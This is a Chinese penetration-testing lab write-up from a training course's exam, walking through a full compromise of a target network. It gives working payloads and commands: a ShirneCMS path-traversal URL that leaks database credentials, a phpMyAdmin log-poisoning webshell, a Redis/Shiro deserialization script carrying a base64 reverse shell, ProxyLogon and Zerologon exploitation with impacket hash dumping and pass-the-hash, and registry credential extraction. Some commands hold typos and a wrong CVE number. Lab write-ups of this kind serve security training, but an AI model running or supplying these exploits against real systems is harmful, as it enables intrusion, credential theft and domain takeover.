暗月渗透测试五月份考核文章第一篇
2023-5-21 11:58:59 Author: moonsec(查看原文) 阅读量:41 收藏

本次sunday靶场通关视频 已经制作成培训课程。

5.20 还有活动价

如需学习可参与 暗月的渗透测试培训 

扫一扫 添加好友咨询学习

涉及考点

这次考核的内容涉及到 php代码审计和java代码审计。

内网比较简单,只要进入域内 拿到域控问题都不大。 

找到WEB入口点 进入内网 再进行渗透就很容易获取域控的权限了。

拓扑图

考核情况

本次参与的人数共100人  成功通过的人数是6人  虽然通过率不高 但是对此还是比较满意。

以下是通过考核同学的一篇都是干货。

80端口

源码地址:
gitee:https://gitee.com/shirnecn/ShirneCMS
github:https://github.com/shirne/ShirneCMS
已知漏洞:https://gitee.com/shirnecn/ShirneCMS/issues/I5JRHJ?from=project-issue

组件信息:thinkphp、apache

服务器:linux(通过服务器是否对URL的大小写是否敏感来判断)

目录扫描:
phpmyadmin:phpmyadmin登陆页面
static:css、js、编辑器等文件
后台地址:index.php/admin

8080端口

源码地址:https://github.com/alexxiyang/shiro-redis-spring-boot-tutorial

组件信息:spring-boot、shiro、redis、tomcat

目录扫描:
manager:tomcat管理页面

web主机内网地址为:192.168.10.174。

靶场临时关闭了,所以用本地环境测试,靶场打法与本地打法一致。直接重复操作即可。

ShirneCMS有一个[已知漏洞](shirne-1.2.0 exist path traversal bug · Issue #I5JRHJ · 语辰软件/ShirneCMS - Gitee.com),直接用已知漏洞的payload的测试。

payload:http://localhost/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode|convert.base64-encode/resource=config.json&maxwidth=-1&referer=test

返回结果如下图,说明能够读取到文件,不显示文件内容,可能是文件处于base64编码状态,那么可以使用 burpsuite 抓取原始返回数据,然后将返回数据进行base64解码

原始数据如下图,应该是base64 数据后面的png导致文件无法显示

尝试将数据进行base64 解码,解码失败,可能是多次 base64 解码的结果,那么简化下payload,在读取文件

将上面的数据进行base64 解码,解码成功,可以查看到原始文件内容

重复上面方法可以读取 database.config 的内容,获取数据库的账号密码;

payload:http://192.168.18.5/static/ueditor/php/controller.php?action=proxy&remote=php://filter/convert.base64-encode/resource=../../../../config/database.php&maxwidth=-1&referer=test

将数据解码 得到了数据库的配置信息:用户名 root 、密码vVICDU1Erw、数据库名cms

事后分析图片传输流程如下:

服务器端图片经过base64编码 》 网络传输 》 浏览器还原图片。那么当我们读取文件时,文件被base64编码了,但是base64编码后面的=png表明了数据类型为图片,所以导致浏览器无法还原文件内容,想要读取原始文件内容就要舍弃=png,然后在进行base64解码。

尝试用数据库的密码登录 phpmyadmin,登录页成功了,那么可以尝试写shell,添加后台账号密码。管理员的表名为 sa_manger,直接将本地测试环境中的 key 和 salt 填进去即可。尝试通过phpmyadmin写shell 时,发现只能写到/tmp目录下。登录后台查找能够包含 phpmyadmin日志的模板。结果发现独立模板的分类别名其实是模板路径。

经过测试独立模板的默认名称为 view.tpl,可以利用 phpmyadmin 写全局日志到 /tmp 目录下,文件名称为 view.tpl。写shell的sql 命令如下。

# 1.查看当前日志记录的设置
SHOW VARIABLES LIKE 'general%';

# 2. 开启日志记录
set global general_log = "ON";

# 3. 更改日志记录的位置
set global general_log_file='/tmp/view.tpl'

# 4. 向日志内下入 一句话木马
select '<?php phpinfo();?>';

在后台上找上面图片内的方法编辑模板,然后添加文章将 phpmyadmin 日志包含进去。

点击添加的文章看看效果,包含成功了。

按照上面的操作方法写入一句话。然后用蚁剑连接测试。连接成功,接下来就可以上线msf了。如果不能执行命令,linux环境下的蚁剑插件可以绕过 diable_function.

3.1 信息收集

使用fscan 扫描,扫描结果如下,扫描到redis的弱密码。

(icmp) Target 192.168.10.175  is alive
[*] Icmp alive hosts len is: 1
192.168.10.175:80 open
192.168.10.175:22 open
192.168.10.175:8080 open
192.168.10.175:6379 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle: http://192.168.10.175 code:200 len:0 title:None
[*] WebTitle: http://192.168.10.175:8080 code:200 len:461 title:None
[+] Redis:192.168.10.175:6379 abc123 file:/var/lib/redis/dump.rdb
[+] Redis:192.168.10.175:6379 like can write /var/spool/cron/

在网上找到两篇参考文章:

第一篇:redis未授权到shiro反序列化 - 先知社区

第二瓶:redis未授权到shiro反序列化之session回显马|NOSEC安全讯息平台 - 白帽汇安全研究院

3.2 获取web123的shell

这里用第一篇文章的方法,先安装安装 pyyso 模块,模块下载地址:https://github.com/cokeBeer/pyyso

然后将第一篇文章里面的 POC 改造下,改造结果如下。(其实菜鸟也想搞回显码)

import pyyso
import redis

redis_conn=redis.StrictRedis(host='192.168.10.175', port=6379,password="abc123")

# whatever 是 session 名称
whatever=b"seemoontest"
key=b"shiro:session:"+whatever

# 这列是调用上面安装的模块生成序列化的码
value=pyyso.cb1v192("bash -c {echo,A+JiAvZGV2L3RjcC80ME1Mi85+JjE=}|{base64,-d}|{bash,-i}")
redis_conn.set(key,value)

print("end....")

注意:在java反序列化中用 bash  反弹shell,要将命令进行 base64编码,具体原因参考java中runtime.exec无法反弹bash shell的原因及解决办法

测试下POC效果

写入成功了。

先使用 nc 开启监听,命令 nc -lvnp <端口号>

登录网页,然后用'burp suite' 抓包,修改cookie并发送

查看 nc 是否接收到反弹的shell,这里接收到了

上线msf过程不再演示

4.1  信息收集

fscan扫描只有 22 端口,想要获取shell只能通过 ssh 了。

在主机 web123 的 /home/weeb/.ssh 目录下发现 id_asa 文件。

使用  putty Key Generator 查看一下,发现是在 PC1上使用root用户创建的,

注意:高版本的 OPENSSL 在不指定格式时,生成的密匙对是 OPENSSH 格式的,而且密匙文件中会附带生成密匙文件的主机名和用户名,并不能说明密匙一定能用。

putty Key Generator还可以将 OPENSSH转换为 RSA 格式。

下面时我在 kali 中生成的 RSA 密匙,其中附带了 主机名和用户名。如果把公钥写到A主机的TEST用户的 .ssh目录下,那么对应的私钥登录 A主机 账户名就是 TEST

4.2 获取PC1的shell

将 id_rsa 下载到本地,然后使用 id_rsa 登录PC1。

注意点:

  1. 使用 命令行的 SSH 登录,一定要更改 id_rsade 的权限为600,不然会报错。

  1. 如果将 id_rsa 放到了 /home/<用户名>/.ssh 目录下,那么可以直接使用 ssh <用户名>@<IP> 的方式登录。

  2. 如果不想放到 /home/<用户名>/.ssh  目录下,把么更改权限后,可以使用 ssh -i <id_rsa文件名> <用户名>@<IP>的方式登录。

    这里登录成功了,上线msf过程不在演示。

    5.1 信息收集

    fscan扫描结果

    (icmp) Target 10.10.10.137    is alive
    [*] Icmp alive hosts len is: 1
    10.10.10.137:445 open
    10.10.10.137:139 open
    10.10.10.137:135 open
    10.10.10.137:81 open
    10.10.10.137:80 open
    10.10.10.137:8172 open
    10.10.10.137:808 open
    10.10.10.137:443 open
    [*] alive ports len is: 8
    start vulscan
    [*] NetInfo:
    [*]10.10.10.137
    [->]exchange
    [->]10.10.10.137
    [*] NetBios: 10.10.10.137 exchange.sunday.club Windows Server 2012 R2 Standard 9600
    [*] WebTitle: http://10.10.10.137 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。
    [*] WebTitle: https://10.10.10.137 code:301 len:0 title:None 跳转url: https://10.10.10.137/owa/
    [*] WebTitle: http://10.10.10.137:81 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。
    [*] WebTitle: https://10.10.10.137:8172 code:404 len:0 title:None

    通过浏览器查看 exchange 的443 端口,然后浏览网页源码获取到了 exchange 的发行时间。

    通过微软官网的对照表确定 exchang 的版本为  Exchange Server 2013 CU10。

    对照表地址:Exchange Server 内部版本号和发行日期 | Microsoft Learn

    在网上搜索发现改编版本存在 CVE-2021–26855 漏洞。

    5.2 获取exchange的shell

    测试了很多款EXP,终于找到了一个好用的。打到这里 OPENSSL 的报错问题耽误了很长时间,换了三个版本的 kali 才搞定,又排错很久才搞定。

    工具地址:GitHub - herwonowr/exprolog: ProxyLogon Full Exploit Chain PoC (CVE-2021–26855, CVE-2021–26857, CVE-2021–26858, CVE-2021–27065)

    如果使用这个工具出现报错,可以卸载 urllib3 库 ,更新requests后继续尝试。我这里时这么解决的。

    工具的简略利用过程:

    proxychains4 python exprolog.py -t 10.10.10.137 -e [email protected]

    利用工具给出的URL来执行命令。

    proxychains4 curl --request POST --url https://10.10.10.137/owa/auth/gk4l8.aspx --header 'Content-Type: application/x-www-form-urlencoded' --data 'request=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami /all").stdout.readall())' -k

    由于时间有限,就不上线 msf。

    6.1 信息收集

    fscan扫描结果

    (icmp) Target 10.10.10.133    is alive
    [*] Icmp alive hosts len is: 1
    10.10.10.133:88 open
    10.10.10.133:135 open
    10.10.10.133:445 open
    10.10.10.133:139 open
    [*] alive ports len is: 4
    start vulscan
    [*] NetInfo:
    [*]10.10.10.133
    [->]ad2012
    [->]10.10.10.133
    [*] 10.10.10.133 (Windows Server 2012 R2 Standard 9600)

    6.2 获取 AD2012的shell

    使用 CVE-2021-1472 的 EXP 。CVE-2021-1472的EXP 网上很多,很好找。

    漏洞利用过程如下:

    1. 重置 hash 为空

    proxychains4 python cve-2020-1472-exploit.py ad2012 10.10.10.133

    1. 利用 kali 自带的 impacket 模块来导出 hash 。

    roxychains4 impacket-secretsdump sunday.club/ad2012\[email protected] -no-pass

    1. 使用 impacket 工具包的 psexec 登录,

    proxychains4 python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:7e6f1603cd213e33e7734613258caffe sunday.club/[email protected]

    先关闭防火墙,然后使用 msf 的 exploit/windows/smb/psexec模块可以上线msf,

    或者使用ipmacket-psexec  的 -file 选项来上传并运行后门。具体上线msf过程省略。

    上完成后别忘了恢复密码,恢复密码示例:

    1. 导出相关注册表

    shell > reg save HKLM\SYSTEM system.save          #导出注册表
    shell > reg save HKLM\SAM sam.save #导出注册表
    shell > reg save HKLM\SECURITY security.save #导出注册表

    meterpreter > download system.save #下载至本地
    meterpreter > download sam.save #下载至本地
    meterpreter > download security.save #下载至本地

    shell > del /f system.save #远程删除导出的注册表文件
    shell > del /f sam.save #远程删除导出的注册表文件
    shell > del /f security.save exit #远程删除导出的注册表文件

    1. 获取原来的 hash

    impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL

    1. 还原域控的hash

    python restorepassword.py whoamianony/[email protected] -target-ip 192.168.93.30 -hexpass 90272af666c9678353cd26510cd8970c52aefe22cd45f53bc2dfdc96b8029ea3a0472869f0d4dd8ce95807c4c095845fca4b06b27f11fb8936379b03b3d8bc65ad3a39b6fb0fd4eb4ea81bd1039b564746b3c55f8e5348d1dcef7b23b323d24325819d0ff5d9521bcfa0e3f4cba55076d08495ba5672ac3950a73666b52fe6102ded4dd7db515d9e634d2cf212163a9a0fada937d1e4895059e2521571d8799d0d90329bedbe7a311e3cfa94ef9a6034c2cd251555d327490df360d4498cba3cfebd97d1e1bd35000a48c7a61c62a91112c4707387ef1c9e48e1dd7920fb921d683dd79bb51a2bbd62956e4b72160b60

    公众号长期更新安全类文章,关注公众号,以便下次轻松查阅

    觉得文章对你有帮助 请转发 点赞 收藏


    文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMjc0NTEzMw==&mid=2653587278&idx=1&sn=08a0fd8c3512b7404072dcc0ab8de317&chksm=811b910cb66c181a0c8395b7002e991cf3d88820d7daffc184c7e80cc91e2bd701372014ec29#rd
    如有侵权请联系:admin#unsafe.sh